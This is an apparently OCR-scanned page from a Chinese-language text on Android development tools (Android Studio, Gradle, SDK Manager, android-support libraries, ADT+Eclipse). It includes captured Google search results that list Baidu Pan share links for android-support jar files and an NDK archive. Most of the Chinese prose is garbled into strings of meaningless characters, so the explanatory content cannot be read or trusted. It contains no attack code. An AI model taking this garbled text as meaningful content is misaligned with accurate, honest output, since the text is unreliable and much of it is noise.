1T Android 5 J7 FF A A AE [ P EREUBC R 3 15 8 70 0T A 3 2 e AR 2R I 45 45 JR0E T 304k
ST SORBUARE LB BT, A ERATTRE Android JF 5 A M8 9 B R FIUE X L
H AT Android "N IJFAEF AT 4-1 Fos, HrT A O RS . E SRR AT = #8450
AndroidFF % 72

FERR REdaR § £

Android Studio Sadioid BDK m
e E— [ Gradle
Java
SDK Manager

Android SDK

L T, i :

TS Na) ;

s = = :

android-support

4-1 REFREEHERER

ADT+Eclipse

TS ST, TEiETF R 2 75 (b ] IDE SRHLIEAT TP R o 20 L HIE 4544711 5] Android SDK Al Android
NDK, Jf ELERIAE I F4RE zip 0477 SDK Manager, /X[ API I A fyFI 2 T LA lib e 2807
e FHL, I HIEEA Z S KRB A 5,
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site:pan.baidu.com android support

Web News Images Videos Shopping More ~ Search tools

About 2,080 results (0.42 seconds)

android-support-v4.jar_%% 5% T 5|8 E =M E- 2 Z LR
pan.baidu.com/wap/link7uk=3124727634...0 v Translate this page

3 {4# :android-support-vd jar 3C{FA/633.13K 4+ 5 & FEEEEE 482 4 E&E):
2015-1-12 16:32 THHEC5.

android-support-design.jar 2#&E TH EEZME-SEX ...
pan.baidu.com/wap/link7uk=2013327370...0 ~ Translate this page

3444 android-support-design.jar 3K\ 207, 56K £ 5 54 MHE1 43 F BT E]:2015-7-
22 15:49 TEKES.

android-support-vd jar%_ZHmE TH|EEZME-SZLRG
pan.baidu.com/...link?...insidesR I SDK T £ %2FAnd... ~ Translate this page
304 % android-support-vd jar X {FA/]v543.16K 3£ disklrucache-2.0.2.jar ZfFK
An21.19K 3048 javaxdelta-2.0.1 jar 301 /N30 68K 3CHF ...

android-support-v4 jar_% % 5% T2 |5 E = M- Z LR
pan.baidu.com/.../shareview?&...%2F % 3 ##{%2FAn... - Translate this page
3044 android-support-vd jar 31 4/]v376.65K 43 ¥#:862709539zhang 4+ F i
[E:2014-10-21 15:02 FH &0

android-support-v4 jar_%.% &1 T 2| B & 7 M- Z R R
site:pan.baidu.com android ndk

Web Videos Images News Books More + Search tools

About 401 results (0.35 seconds)

android-ndk-r9d-linux-x86_64.tar.bz2 - BRE =M
pan.baidu.com/wap/link?uk=3829505679...0 + Translate this page
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